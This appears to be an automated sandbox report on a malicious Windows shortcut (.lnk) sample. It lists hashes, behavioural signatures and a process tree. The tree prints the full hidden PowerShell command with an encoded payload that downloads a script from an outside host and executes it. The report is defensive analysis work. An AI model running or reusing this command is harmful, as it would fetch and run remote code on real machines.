Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
11-04-2024 17:54
Static task
static1
Behavioral task
behavioral1
Sample
0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2.lnk
Resource
win10v2004-20240226-en
General
-
Target
0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2.lnk
-
Size
9KB
-
MD5
baadcd553ba6a56e2f81332206e331cf
-
SHA1
3d76bdf72f15dc17ca2aed3237aa2ee680534de1
-
SHA256
0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2
-
SHA512
b16efc3a8b6e3b3afbe7817e7c4b30f889de212d1db41ccac47f2ccbe04dd6b7b19fb381084bacf5cdc2dfe2838922c1e47b779136f7ea4044fc451772c739e0
-
SSDEEP
192:8z5ph43MSBfQb94y8O5Wp9EJmuBT/HVXhdyfUVLqHGPJzylV/Xt4OnuRG:u5f+MS5QH8EDJHx7ycVLUGhzWXr
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2424 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2424 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2208 wrote to memory of 2424 2208 cmd.exe powershell.exe PID 2208 wrote to memory of 2424 2208 cmd.exe powershell.exe PID 2208 wrote to memory of 2424 2208 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2424